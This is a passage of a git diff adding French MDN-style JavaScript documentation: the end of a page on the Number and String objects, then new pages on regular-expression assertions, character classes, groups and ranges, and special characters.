Le prototype Number fournit également des méthodes pour obtenir des informations d'objets Number. Le tableau suivant liste ces différentes méthodes de Number.prototype :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Tableau 7.3 Méthodes de Number.prototype
MéthodeDescription
toExponentialRenvoie une chaîne de caractères représentant le nombre dans sa notation exponentielle.
toFixedRenvoie une chaîne de caractères représentant le nombre dans sa notation à point fixe.
toPrecisionRenvoie une chaîne de caractères représentant le nombre dans sa notation à point fixe, avec une précision donnée.
toSourceRenvoie un littéral objet représentant l'objet Number. Cette valeur peut ensuite être utilisée pour créer un nouvel objet. Cette méthode surcharge la méthode Object.toSource.
toStringRenvoie une chaîne de caractères représentant l'objet. Cette méthode surcharge la méthode Object.toString.
valueOfRenvoie la valeur primitive de l'objet. Cette méthode surcharge la méthode Object.valueOf.
- -

L'objet RegExp

- -

Pour plus d'explications sur le fonctionnement des expressions rationnelles, voir la page sur les expressions rationnelles.

- -

L'objet String

- -

L'objet String est une enveloppe pour les données du type chaîne de caractères. Les littéraux de chaînes de caractères ne doivent pas être confondus avec les objets String. Par exemple, le code suivant crée deux choses : un littéral de chaîne de caractère, s1, et l'objet String s2 :

- -
var s1 = "truc"; //crée un littéral de chaîne de caractères
-var s2 = new String("truc"); //crée un objet String
-
- -

Chacune des méthodes de l'objet String peut être utilisée sur une valeur qui est un littéral de chaîne de caractères (pour ce faire, JavaScript convertit automatiquement le littéral en un objet String temporaire, appelle la méthode voulue puis supprime l'objet temporaire). Il est également possible d'utiliser la propriété String.length sur un littéral de chaîne de caractères.

- -

Il est fortement recommandé d'utiliser des littéraux de chaînes de caractères à moins d'avoir spécifiquement besoin d'utiliser un objet String. En effet, les objets String peuvent avoir des effets inattendus :

- -
var s1 = "2 + 2"; //crée un littéral de chaîne de caractères
-var s2 = new String("2 + 2"); //crée un objet String
-eval(s1); //renvoie 4
-eval(s2); //renvoie la chaîne "2 + 2"
- -

Un objet String possède une seule propriété, length, indiquant le nombre de caractères contenus dans la chaîne de caractères. Dans le code qui suit, x recevra la valeur 13 car la chaîne "Hello, World!" possède 13 caractères :

- -
var maChaine = "Hello, World!";
-var x = maChaine.length;
-
- -

Un objet possède deux types de méthodes : celles qui renvoient une chaîne modifiée à partir de l'objet initial et celles qui renvoient une version au format HTML de la chaîne. Dans la première catégorie on trouvera des méthodes comme substring et toUpperCase, dans la seconde catégorie, on trouvera notamment bold et link.

- -

Par exemple, si on utilise la chaîne précédente maChaine.toUpperCase() ou aussi "hello, world!".toUpperCase(), on obtiendra le résultat "HELLO, WORLD!".

- -

La méthode substring contient deux arguments et renvoie un fragment de la chaîne de caractères entre ces deux arguments qui correspondent aux indices de début et de fin du « découpage ». maChaine.substring(4, 9) renverra "o, Wo".

- -

L'objet String possède également certaines méthodes permettant d'obtenir directement des données au format HTML : des liens, du texte formaté... Ainsi on pourrait créer un hyperlien avec la méthode suivante :

- -
maChaine.link("http://www.helloworld.com")
-
- -

Le tableau qui suit liste les méthodes des objets String.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Tableau 7.4 Méthodes des instances du prototype String
MéthodeDescription
anchorPermet de créer un ancre HTML
big, blink, bold, fixed, italics, small, strike, sub, supPermet de formater une chaîne de caractères au format HTML. (Note : l'utilisation du CSS peut parfois être plus judicieuse que certaines entités HTML).
charAt, charCodeAtRenvoie le caractère ou le code du caractère à la position indiquée dans la chaîne de caractères.
indexOf, lastIndexOfRenvoie la position d'un fragment de la chaîne de caractères (respectivement la dernière position).
linkCrée un hyperlien HTML
concatConcatène deux chaînes de caractères en une chaîne de caractères.
fromCharCodeConstruit une chaîne de caractères à partir de la séquence de codes Unicodes fournie. Cette méthode appartient au prototype String mais pas aux instances objets String.
splitDécoupe un objet String en un tableau de chaînes de caractères selon un séparateur donné.
sliceExtrait un fragment de la chaîne de caractères et renvoie une nouvelle chaîne.
substring, substrRenvoie un fragment de la chaîne de caractères à partir d'un indice jusqu'à un autre indice ou à partir d'un indice et pour une longueur donnée.
match, replace, searchFonctionne avec les expressions rationnelles.
toLowerCase, toUpperCase -

Renvoie la chaîne de caractères en lettres minuscules (respectivement, en lettres majuscules).

-
- -

« Précédent  Suivant »

diff --git a/files/fr/web/javascript/guide/regular_expressions/assertions/index.html b/files/fr/web/javascript/guide/regular_expressions/assertions/index.html new file mode 100644 index 0000000000..2802651d49 --- /dev/null +++ b/files/fr/web/javascript/guide/regular_expressions/assertions/index.html @@ -0,0 +1,106 @@ +--- +title: Assertions +slug: Web/JavaScript/Guide/Expressions_régulières/Assertions +tags: + - Assertions + - Guide + - JavaScript + - RegExp +translation_of: Web/JavaScript/Guide/Regular_Expressions/Assertions +--- +

{{jsSidebar("JavaScript Guide")}}{{draft}}

+ +

Les assertions indiquent les conditions selon lesquelles il est possible d'avoir une correspondance (contenu situé avant la correspondance, situé après ou expressions conditionnelles).

+ +

Types

+ +
+

Note : Le caractère ? peut également être utilisé comme quantificateur.

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
CaractèresSignification
x(?=y) +

Correspond à 'x' seulement s'il est suivi de 'y'. On appelle cela un test de succession (lookahead).

+ +

Ainsi, /Jack(?=Sparrow)/ correspond à 'Jack' seulement s'il est suivi de 'Sparrow'. /Jack(?=Sparrow|Bauer)/ correspond à 'Jack' seulement s'il est suivi de 'Sparrow' ou de 'Bauer'. Cependant, ni 'Sparrow' ni 'Bauer' ne feront partie de la correspondance.

+
x(?!y) +

Correspond à 'x' seulement si 'x' n'est pas suivi de 'y'.

+ +

Ainsi, /\d+(?!\.)/ correspond à un nombre qui n'est pas suivi par un point, cette expression utilisée avec la chaîne 3.141 correspondra pour '141' mais pas pour '3.141'.

+
(?<=y)x +

Correspond à x seulement si x est précédé par y. C'est ce qu'on appelle une recherche arrière (lookbehind).

+ +

Ainsi /(?<=Jack)Sprat/ correspond à "Sprat" seulement s'il est précédé de "Jack".
+ /(?<=Jack|Tom)Sprat/ correspond à "Sprat" seulement s'il est précédé de "Jack" ou "Tom".
+ Toutefois, "Jack" et "Tom" ne feront pas partie de la correspondance.

+
(?<!y)x +

Correspond à x uniquement si x n'est pas précédé par y (parfois appelée en anglais negated lookbehind).

+ +

Ainsi, /(?<!-)\d+/ correspondra à un nombre seulement si celui-ci n'est pas précédé d'un signe moins.
+ /(?<!-)\d+/.exec('3') cible "3".
+  /(?<!-)\d+/.exec('-3')  ne trouve aucune correspondance car le nombre est précédé d'un signe

+
+ +

Exemples

+ +

Assertion avant (lookahead)

+ +
let regex = /Premier(?= test)/g;
+
+console.log('Premier test'.match(regex)); // [ 'Premier' ]
+console.log('Premier truc'.match(regex)); // null
+console.log("Voici le Premier test de l'année.".match(regex)); // [ 'Premier' ]
+console.log('Voici le Premier truc du mois.'.match(regex)); // null
+
+ +

Assertion avant négative

+ +

L'expression rationnelle /\d+(?!\.)/ permettra de rechercher plusieurs chiffres si ceux-ci ne sont pas suivis d'un point décimal. Ainsi, /\d+(?!\.)/.exec('3.141') trouvera la sous-chaîne "141" mais pas "3."

+ +
console.log(/\d+(?!\.)/g.exec('3.141')); // [ '141', index: 2, input: '3.141' ]
+
+ +

Signification différente de '?!' entre les assertions et les intervalles

+ +

La combinaison de caractères ?! a un sens différent entre les assertions /x(?!y)/ et les intervalles [^?!].

+ +
let orangePasCitron = "Voulez-vous avoir une orange? Oui, je ne veux pas avoir de citron!";
+
+let choixPasCitron = /[^?!]+avoir(?! un citron)[^?!]+[?!]/gi
+console.log(orangePasCitron.match(choixPasCitron)); // [ 'Voulez-vous avoir une orange?' ]
+
+let choixPasOrange = /[^?!]+avoir(?! une orange)[^?!]+[?!]/gi
+console.log(orangePasCitron.match(choixPasOrange)); // [ 'Oui, je ne veux pas avoir de citron!' ]
+
+ +

Assertion arrière (lookbehind)

+ +
let oranges = ['espèce orange A ', 'sorte orange B', 'espèce orange C',];
+
+let especesOranges = oranges.filter( fruit => fruit.match(/(?<=espèce )orange/));
+console.log(especesOranges); // [ 'espèce orange A ', 'espèce orange C' ]
+
diff --git a/files/fr/web/javascript/guide/regular_expressions/character_classes/index.html b/files/fr/web/javascript/guide/regular_expressions/character_classes/index.html new file mode 100644 index 0000000000..ce2d02b789 --- /dev/null +++ b/files/fr/web/javascript/guide/regular_expressions/character_classes/index.html @@ -0,0 +1,182 @@ +--- +title: Classes de caractères +slug: Web/JavaScript/Guide/Expressions_régulières/Classes_de_caractères +tags: + - Classes + - Guide + - JavaScript + - RegExp +translation_of: Web/JavaScript/Guide/Regular_Expressions/Character_Classes +--- +

{{jsSidebar("JavaScript Guide")}}{{draft}}

+ +

Les classes de caractères permettent de distinguer différents ensembles de caractères dans les expressions rationnelles (par exemple les chiffres d'une part et les lettres d'autre part).

+ +

Types

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CaractèresSignification
. +

Par défaut, (Le point) correspond à n'importe quel caractère excepté un caractère de saut de ligne.

+ +

Ainsi, /.n/ correspond à  'un' et 'en' dans "Un baobab nain en cours de  croissance" mais pas à 'nain'.

+ +

Si le marqueur s (dotAll) est utilisé, le point correspondra également aux caractères de saut de ligne.

+ +

Le marqueur m ne modifie pas le comportement du point.

+ +

Attention, si on utilise le point dans un intervalle de caractères, il n'aura plus cette signification spéciale.

+
\d +

Correspond à un chiffre et est équivalent à [0-9].

+ +

Ainsi, /\d/ ou /[0-9]/ correspond à '2' dans "H2O est la molécule de l'eau".

+
\D +

Correspond à tout caractère qui n'est pas un chiffre et est équivalent à [^0-9].

+ +

Ainsi, /\D/ ou /[^0-9]/ correspond à 'H' dans "H2O est la molécule de l'eau".

+
\w +

Correspond à n'importe quel caractère alphanumérique de l'alphabet latin, y compris le tiret bas. C'est équivalent à [A-Za-z0-9_].

+ +

Ainsi, /\w/ correspond à 'l' dans "licorne", à '5' dans "5,28€", et à '3' dans "3D."

+
\W +

Correspond à n'importe quel caractère n'étant pas un caractère de l'alphabet latin ou le tiret bas. Cela est équivalent à [^A-Za-z0-9_].

+ +

Ainsi, /\W/ ou /[^A-Za-z0-9_]/ correspond à '%' dans "50%."

+
\s +

Correspond à un blanc (cela comprend les espace, tabulation, saut de ligne ou saut de page). C'est équivalent à [ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff].

+ +

Ainsi, /\s\w*/ correspond à ' toto' dans "truc toto".

+
\S +

Correspond à un caractère qui n'est pas un blanc. C'est équivalent à [^ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff].

+ +

Ainsi, /\S\w*/ correspond à 'truc' dans "truc toto".

+
\tCorrespond à une tabulation (U+0009).
\rCorrespond à un retour chariot (U+000D).
\nCorrespond à un saut de ligne (U+000A).
\vCorrespond à une tabulation verticale (U+000B).
\fCorrespond à un saut de page (U+000C).
[\b]Correspond pour un retour arrière (U+0008). (À ne pas confondre avec \b, voir les limites).
\0Correspond au caractère NULL (U+0000). Il ne doit pas être suivi d'un autre chiffre car \0<chiffres> est une séquence d'échappement pour les nombres en notation octale (si besoin d'utiliser un chiffre ensuite, on pourra utiliser la forme \x00, cf. ci-après).
\cX +

Correspond au caractère de contrôle où X est une lettre entre A et Z. Correspond au caractèlres de contrôle correspondant entre U+0001-U+001F. Ainsi, /\cM/ correspondra au caractère controle-M au sein d'une chaîne de caractères soit "\r" pour "\r\n".

+
\xhhCorrespond au caractère dont le code hexadécimal est hh (deux chiffres hexadécimaux).
\uhhhhCorrespond au caractère dont le code est hhhh (quatre chiffres hexadécimaux).
\u{hhhh} ou \u{hhhhh}(Uniquement actif quand le marqueur u est activé) Correspond au caractère dont la valeur Unicode est hhhh (en chiffre hexadécimaux).
\ +

La barre oblique inversée indique que le prochain caractère doit être traité spécifiquement ou échappé. Elle se comporte d'une de ces façons :

+ +
    +
  • Pour les caractères normalement traités littéralement, cela indique que le prochain caractère est spécial et qu'il ne doit pas être interprété littéralement. Ainsi, /b/ correspondra à la lettre "b" mais en utilisant la barre oblique inversée devant /\b/, on cherchera une limite de mot.
    • +
  • Pour les caractères spéciaux, la barre indique que le caractère doit être interprété littéralement. Ainsi, "*" est un caractère spécial (un quantificateur qui signifie que le caractère précédent doit être présent 0 ou plusieurs fois) : /a*/ cherchera une correspondance avec 0 ou plusieurs "a". Si on souhaite trouver le caractère * dans une chaîne, on placera la barre oblique inversée devant : on a ainsi /a\*/ qui permet de trouver "a*" dans une chaîne.
    • +
+ +
+

Note : L'échappement vaut également avec la barre oblique inversée. Autrement dit, si on cherche la présence de \ dans une chaîne, on pourra utiliser l'expression /\\/ (où la première barre oblique échape la seconde).

+
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.1.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.RegExp.property_escapes")}}

+ +

Voir aussi

+ +
    +
  • {{JSxRef("RegExp")}}
    • +
diff --git a/files/fr/web/javascript/guide/regular_expressions/groups_and_ranges/index.html b/files/fr/web/javascript/guide/regular_expressions/groups_and_ranges/index.html new file mode 100644 index 0000000000..269313a659 --- /dev/null +++ b/files/fr/web/javascript/guide/regular_expressions/groups_and_ranges/index.html @@ -0,0 +1,93 @@ +--- +title: Groupes et intervalles +slug: Web/JavaScript/Guide/Expressions_régulières/Groupes_et_intervalles +tags: + - Groupes + - Guide + - Intervalles + - JavaScript + - RegExp +translation_of: Web/JavaScript/Guide/Regular_Expressions/Groups_and_Ranges +--- +

{{jsSidebar("JavaScript Guide")}}{{draft}}

+ +

Les groupes et intervalles permettent de représenter des groupes ou des intervalles de caractères dans des expressions rationnelles.

+ +

Types

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CaractèresSignification
x|y +

Correspond à 'x' ou 'y'.

+ +

Ainsi, /vert|rouge/ correspond à 'vert' dans "feu vert" et à 'rouge' dans "feu rouge".

+
[xyz]
+ [a-c]		Un ensemble de caractère. Ce type de motif correspond pour n'importe quel caractètre présent entre les crochets, y compris les séquences d'échappement. Les caractères spéciaux comme le point (.) et l'astérisque ne sont pas considérés comme spéciaux au sein d'un ensemble et n'ont donc pas besoin d'être échappés. Il est possible de donner un ensemble sur un intervalle de caractères en utilisant un tiret (-), comme le montre l'exemple qui suit.
+
+ Le motif [a-d],  aura les mêmes correspondances que [abcd], correspondant au 'b' de "bulle" et au 'c' de "ciel". Les motifis /[a-z.]+/ et /[\w.]+/ correspondront pour la chaîne entirère : "Adre.ss.e".
+

[^xyz]
+ [^a-c]

+ 		+ + +

Exclusion d'un ensemble de caractères. Cela correspond à tout ce qui n'est pas compris entre crochets. Il est possible de fournir un intervalle de caractères en utilisant un tiret (-). Les autres règles qui s'appliquent pour l'ensemble de caractères (ci-avant) s'appliquent également ici.

+ +

Par exemple, [^abc] est équivalent à [^a-c]. Ils correspondent à 'u' dans "bulle" et à 'i' dans "ciel".

+ +
+

Note : Le caractère ^ peut également être utilisé afin d'indiquer le début d'un champ.

+
+
(x) +

Correspond à 'x' et garde la correspondance en mémoire. Les parenthèses permettent de capturer l'expression dans un « groupe ».
+
+ Les '(toto)' et '(truc)', dans le motif /(toto) (truc) \1 \2/ correspondent et gardent en mémoire les deux premiers mots de la chaîne de caractère "toto truc toto truc". Les \1 et \2 du motif correspondent respectivement à la première et à la deuxième correspondances pour les sous-chaînes entre parenthèses. Lorsqu'on souhaite effectuer un remplacement, on utilisera $1 et $2 pour faire référence au premier et second groupe et $n pour faire référence au n-ième groupe capturé (ex. ('toto truc'.replace(/(...) (...)/, '$2 $1'). $& fera référence à la chaîne entière).

+ +

Capturing groups have a performance penalty. If you don't need the matched substring to be recalled, prefer non-capturing parentheses (see below).

+ +

String.match() won't return groups if the /.../g flag is set. However, you can still use String.matchAll() to get all matches.

+
\n +

Avec n un entier positif. Cela permet de faire référence à la dernière sous-chaîne qui correspond au n-ième groupe entre parenthèses de l'expression rationnelle (en comptant les parenthèses gauche). Ainsi, /apple(,)\sorange\1/ correspondra à "apple, orange," dans "apple, orange, cherry, peach".

+
(?<Nom>x) +

Correspond à x et nomme la correspondance. Les correspondances associées pourront être retrouvées via le nom indiqué. Les chevrons ('<' et '>') sont obligatoires pour encadrer le nom.

+ +

Ainsi, si on veut extraire la composante de zone d'un numéro de téléphone aux États-Unis, on pourra écrire /\((?<area>\d\d\d)\)/ et récupérer le nombre voulu avec matches.groups.area.

+
(?:x)Correspond à 'x' mais ne garde pas la correspondance en mémoire. Les parenthèses ne capturent pas l'expression et permettent d'utiliser des sous-expressions d'une expression régulière pour travailler plus finement. L'expression /(?:zoo){1,2}/ sans parenthèes non-capturantes les caractères {1,2} ne s'appliqueraient qu'au dernier 'o' de 'zoo'. Avec les parenthèses capturantes, {1,2} s'applique au mot entier 'zoo'.
+ +
+

 Note de compatibilité : Firefox ne prend pas en charge les groupes nommés. Pour plus d'informations, voir le bug correspondant.

+
diff --git a/files/fr/web/javascript/guide/regular_expressions/index.html b/files/fr/web/javascript/guide/regular_expressions/index.html new file mode 100644 index 0000000000..94d037bbf2 --- /dev/null +++ b/files/fr/web/javascript/guide/regular_expressions/index.html @@ -0,0 +1,745 @@ +--- +title: Expressions rationnelles +slug: Web/JavaScript/Guide/Expressions_régulières +tags: + - Guide + - Intermédiaire + - JavaScript + - RegExp +translation_of: Web/JavaScript/Guide/Regular_Expressions +--- +

{{jsSidebar("JavaScript Guide")}}{{PreviousNext("Web/JavaScript/Guide/Formatage_du_texte", "Web/JavaScript/Guide/Collections_indexées")}}

+ +

Les expressions rationnelles sont des motifs utilisés pour correspondre à certaines combinaisons de caractères au sein de chaînes de caractères. En JavaScript, les expressions rationnelles sont également des objets. Ces motifs sont utilisés avec les méthodes {{jsxref("RegExp.exec", "exec")}} et {{jsxref("RegExp.test", "test")}} de {{jsxref("RegExp")}}, et avec les méthodes {{jsxref("String.match", "match")}}, {{jsxref("String.matchAll", "matchAll")}}, {{jsxref("String.replace", "replace")}}, {{jsxref("String.search", "search")}} et {{jsxref("String.split", "split")}} de {{jsxref("String")}}. Ce chapitre explique comment utiliser les expressions rationnelles en JavaScript (aussi appelées expressions régulières ou « RegExp »).

+ +

Créer une expression rationnelle

+ +

Il est possible de construire une expression rationnelle de deux façons :

+ +
    +
  • Utiliser un littéral d'expression régulière, qui correspond à un motif contenu entre deux barres obliques, par exemple : + 
    var re = /ab+c/;
+
    + +

    Lorsque les littéraux d'expression régulière sont utilisés, l'expression est compilée lors du chargement du script. Il est préférable d'utiliser cette méthode lorsque l'expression régulière reste constante, afin d'avoir de meilleurs performances.

    +
    • +
  • Appeler le constructeur de l'objet {{jsxref("RegExp")}}, par exemple : + 
    var re = new RegExp("ab+c");
+
    + +

    Avec cette méthode, l'expression rationnelle est compilée lors de l'exécution. On utilisera cette méthode lorsque le motif utilisé est variable ou provient d'une autre source (par exemple une interaction utilisateur).

    +
    • +
+ +

Écrire une expression rationnelle

+ +

Le motif d'une expression rationnelle est composé de caractères simples (comme /abc/), ou de caractères simples et spéciaux, comme /ab*c/ ou /Chapitre (\d+)\.\d*/ . Le dernier exemple utilise des parenthèses qui permettent d'avoir une « mémoire ». La correspondance avec le motif contenu entre parenthèses pourra être utilisée par la suite. Ceci est décrit avec ce paragraphe.

+ +

Utiliser des motifs simples

+ +

Les motifs simples sont construits à partir de caractères pour lesquels on souhaite avoir une correspondance directe. Le motif /des/ correspond lorsqu'on observe exactement les caractères 'des' ensemble et dans cet ordre précis. On pourrait utiliser ce motif et détecter une correspondance dans les chaînes suivantes : "J'ai vu des licornes ?" et "Sa description de licorne était superbe" car la chaîne de caractères 'des' y est présente (dans le mot description pour le second exemple). Il n'y aura pas de correspondance avec la chaîne de caractères "Toc toc" car 'des' n'est pas présente.

+ +

Utiliser des caractères spéciaux

+ +

Lorsque le motif à trouver est plus complexe qu'une simple égalité (trouver tous les B, les blancs...), le motif devra contenir des caractères spéciaux. Ainsi, le motif /ab*c/ correspond à toutes les combinaisons de caractères qui possèdent un seul 'a' suivi de zéro ou plusieurs 'b' (l'astérisque utilisée ici signifie que l'élément qui la précède doit être présent zéro ou plusieurs fois) qui sont immédiatement suivis d'un 'c'. Par exemple, la chaîne de caractère "cbbabbbbcdebc" correspond au motif avec la chaîne de caractères 'abbbbc'.

+ +

Les pages suivantes décrivent en détail les caractères spéciaux qui peuvent être utilisés afin de composer une expression rationnelle.

+ +
+
Assertions
+
Une assertion caractérisant la façon dont la correspondance peut se produire (en recherchant un motif avant, après ou avec une expression conditionnelle).
+
Limites
+
Permet d'indiquer le début ou la fin d'une ligne ou d'un mot.
+
Classes de caractère
+
Les classes permettent de distinguer différents caractères selon différents groupes (par exemple les lettres et les chiffres).
+
Groupes et intervalles
+
Permet d'indiquer un groupe ou un intervalle de caractères.
+
Quantificateurs
+
Permet d'indiquer un nombre de caractères ou d'expressions qui doivent correspondre.
+
Propriétés Unicode
+
Permet de distinguer les caractères en fonction de leurs caractéristiques Unicode (majuscule/minuscule, symbole mathématique, ponctuation).
+
+ +

Échapper des caractères

+ +

SI on souhaite rechercher certains caractères dans une chaîne de caractères et que ceux-ci ont une signification spéciale lorsqu'ils font partie d'une expression rationnelle (ex. "*"), il faudra échapper ces caractères spéciaux en plaçant une barre oblique inversée (backslash "\") devant. Ainsi, si on souhaite trouver un "a" suivi d'un astérisque ("*") suivi d'un "b", on pourra composer l'expression rationnelle : /a\*b/ où la barre oblique inversée échappe l'astérisque afin de lui enlever sa signification particulière.

+ +

De même si on écrit un littéral d'expression rationnelle et qu'on souhaite rechercher une barre oblique ("/") dans la chaîne cible, on pourra échapper ce caractère (sinon, il aura sa signification particulière aux expressions rationnelles et indiquera la fin du motif). Si on cherche la présence de "/exemple/" dans une chaîne de caractères, on pourra utiliser le littéral /\/exemple\//.

+ +

Il en va de même avec la barre oblique inversée (dont la signification spécifique est justement l'échappement) : si on veut rechercher la chaîne "C:\", on pourra utiliser le motif /C:\\/ (la première barre oblique inversée sert à échapper la seconde).

+ +

Lorsqu'on utilise le constructeur {{jsxref("RegExp")}} avec une chaîne de caractères en paramètre (plutôt qu'un littéral), il faudra échapper la barre oblique inversée qui a un sens particulier dans les chaînes de caractères. Ainsi, le littéral /a\*b/ et new RegExp("a\\*b") créeront la même expression (qui permet de chercher la lettre "a", suivie d'un astérisque, suivi de la lettre "b").

+ +

La tableau qui suit fournit une liste complète des caractères spéciaux pouvant être utilisés dans les expressions régulières ainsi que leur signification.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Caractères spéciaux utilisables pour les expressions rationnelles.
CaractèreSignification
\ +

Correspond selon les règles suivantes :
+
+ Une barre oblique inversée (backslash) précédant un caractère non spécial indique que le caractère qui suit est spécial et qu'il ne doit pas être interprété directement. Ainsi, un 'b', sans \ avant, correspondra pour les 'b' minuscules quel que soit leur position. En revanche '\b' ne correspondra à aucun caractère mais indique un caractère de fin de mot.
+
+ Un backslash précédant un caractère spécial indique que le caractère qui suit doit être interprété littéralement (et non pas comme un caractère spécial). Ainsi, le motif /a*/ utilise le caractère spécial '*' pour correspondre à 0 ou plusieurs 'a'. Le motif /a\*/, au contraire, rend '*' non-spécial pour correspondre aux chaînes de caractères qui comportent la lettre a et une astérisque, comme 'a*'.
+
+ Il ne faut pas oublier d'échapper le caractère \ car lui-même est un caractère d'échappement dans les chaînes de caractères. Cela est utile lorsqu'on utilise la notation RegExp("motif").

+
^Correspond au début la séquence. Si le marqueur (flag) de lignes multiples vaut true, il correspondra également immédiatement après un caractère de saut de ligne.
+
+ Ainsi, /^A/ ne correspond pas au 'A' de "un A", mais correspond au 'A' de "Arceau".
+
+ Le caractère '^' possède un sens différent lorsqu'il est utilisé dans un motif d'ensemble de caractères. Voir les compléments sur les ensembles de caractères pour plus de détails et d'exemples.
$ +

Correspond à la fin de la séquence. Si le marqueur (flag) de lignes multiples vaut true, il correspondra également immédiatement avant un caractère de saut de ligne.

+ +

Ainsi, /t$/ ne correspond pas au 't' de "printemps", mais correspond au 't' de "aliment".

+
* +

Correspond à l'expression précédente qui est répétée 0 ou plusieurs fois. Équivalent à {0,}

+ +

Ainsi, /bo*/ correspond à 'boo' dans "Un booléen" et à 'b' dans "Un bateau bleu", mais ne correspond à rien dans "Ce matin".

+
+ +

Correspond à l'expression précédente qui est répétée une ou plusieurs fois. C'est équivalent à {1,}.

+ +

Ainsi, /a+/ correspond au 'a' dans "maison" et à tous les 'a' dans "maaaaaaison" mais ne correspond à rien dans "mission".

+
?Correspond à l'expression précédente qui est présente une fois ou pas du tout. C'est équivalent à {0,1}.
+
+ Ainsi, /e?le?/ correspond au 'el' dans "gel" et au 'le' dans "angle" mais aussi au 'l' dans "Oslo".
+
+ S'il est utilisé immédiatement après l'un des quantificateurs : *, +, ?, ou {}, il rend le quantificateur moins « gourmand » auquel cas le moins de caractères correspond (le comportement par défaut, « gourmand », permettant de faire correspondre le plus de caractères possible). Par exemple /\d+/ utilisée avec "123abc" fait correspondre "123". Utiliser /\d+?/ à la même chaîne de caractères fait correspondre "1".
+
+ Ce symbole est également utilisé dans les tests de présence autour de l'expression, décrits par les lignes x(?=y) et x(?!y) de ce tableau.
. +

Par défaut, (Le point) correspond à n'importe quel caractère excepté un caractère de saut de ligne.

+ +

Ainsi, /.n/ correspond à 'un' et 'en' dans "Un baobab nain en cours de croissance" mais pas à 'nain'.

+ +

Si le marqueur s (dotAll) est utilisé, le point correspondra également aux caractères de saut de ligne.

+
(x) +

Correspond à 'x' et garde la correspondance en mémoire. Les parenthèses permettent de capturer l'expression dans un « groupe ».
+
+ Les '(toto)' et '(truc)', dans le motif /(toto) (truc) \1 \2/ correspondent et gardent en mémoire les deux premiers mots de la chaîne de caractère "toto truc toto truc". Les \1 et \2 du motif correspondent respectivement à la première et à la deuxième correspondances pour les sous-chaînes entre parenthèses. Lorsqu'on souhaite effectuer un remplacement, on utilisera $1 et $2 pour faire référence au premier et second groupe et $n pour faire référence au n-ième groupe capturé (ex. ('toto truc'.replace(/(...) (...)/, '$2 $1'). $& fera référence à la chaîne entière).

+
(?:x)Correspond à 'x' mais ne garde pas la correspondance en mémoire. Les parenthèses ne capturent pas l'expression et permettent d'utiliser des sous-expressions d'une expression régulière pour travailler plus finement. L'expression /(?:zoo){1,2}/ sans parenthèses non-capturantes les caractères {1,2} ne s'appliqueraient qu'au dernier 'o' de 'zoo'. Avec les parenthèses capturantes, {1,2} s'applique au mot entier 'zoo'. Pour plus d'informations, voir Utiliser les parenthèses ci-après.
x(?=y) +

Correspond à 'x' seulement s'il est suivi de 'y'. On appelle cela un test de succession (lookahead).

+ +

Ainsi, /Jack(?=Sparrow)/ correspond à 'Jack' seulement s'il est suivi de 'Sparrow'. /Jack(?=Sparrow|Bauer)/ correspond à 'Jack' seulement s'il est suivi de 'Sparrow' ou de 'Bauer'. Cependant, ni 'Sparrow' ni 'Bauer' ne feront partie de la correspondance.

+
x(?!y) +

Correspond à 'x' seulement si 'x' n'est pas suivi de 'y'.

+ +

Ainsi, /\d+(?!\.)/ correspond à un nombre qui n'est pas suivi par un point, cette expression utilisée avec la chaîne 3.141 correspondra pour '141' mais pas pour '3.141'.

+
(?<=y)x +

Correspond à x seulement si x est précédé par y. C'est ce qu'on appelle une recherche arrière (lookbehind).

+ +

Ainsi /(?<=Jack)Sprat/ correspond à "Sprat" seulement s'il est précédé de "Jack".
+ /(?<=Jack|Tom)Sprat/ correspond à "Sprat" seulement s'il est précédé de "Jack" ou "Tom".
+ Toutefois, "Jack" et "Tom" ne feront pas partie de la correspondance.

+
(?<!y)x +

Correspond à x uniquement si x n'est pas précédé par y (parfois appelée en anglais negated lookbehind).

+ +

Ainsi, /(?<!-)\d+/ correspondra à un nombre seulement si celui-ci n'est pas précédé d'un signe moins.
+ /(?<!-)\d+/.exec('3') cible "3".
+ /(?<!-)\d+/.exec('-3') ne trouve aucune correspondance car le nombre est précédé d'un signe.

+
x|y +

Correspond à 'x' ou 'y'.

+ +

Ainsi, /vert|rouge/ correspond à 'vert' dans "feu vert" et à 'rouge' dans "feu rouge".

+
{n}Correspond pour exactement n occurences de l'expression précédente. N doit être un entier positif.
+
+ Ainsi, /a{2}/ ne correspond pas au 'a' de "Mozilla" mais correspond à tous les 'a' de "Mozilaa" et aux deux premiers 'a' de "Mozillaaa".
{n,} +

Correspond lorsqu'il y a au moins n occurences de l'expression précédente. n doit être un entier positif.

+ +

Par exemple /a{2,}/ correspondra à "aa" ou à "aaa" ou encore à "aaaa" mais pas à "a".

+
{n,m} +

Lorsque n et m sont des entiers positifs, cela correspond à au moins n occurences de l'expression précédente et à au plus m occurrences. Lorsque m n'est pas utilisé, la valeur par défaut correspondante sera l'infini.

+ +

Ainsi, /a{1,3}/ ne correspond à rien dans "Mozill", au 'a' de "Mozilla", au deux premiers 'a' de "Mozillaa" et au trois premiers 'a' de "Mozillaaaaa". Pour ce dernier exemple, on doit noter que le correspondance ne se fait que sur "aaa" bien qu'il y ait plus de 'a' dans la chaîne de caractères.

+
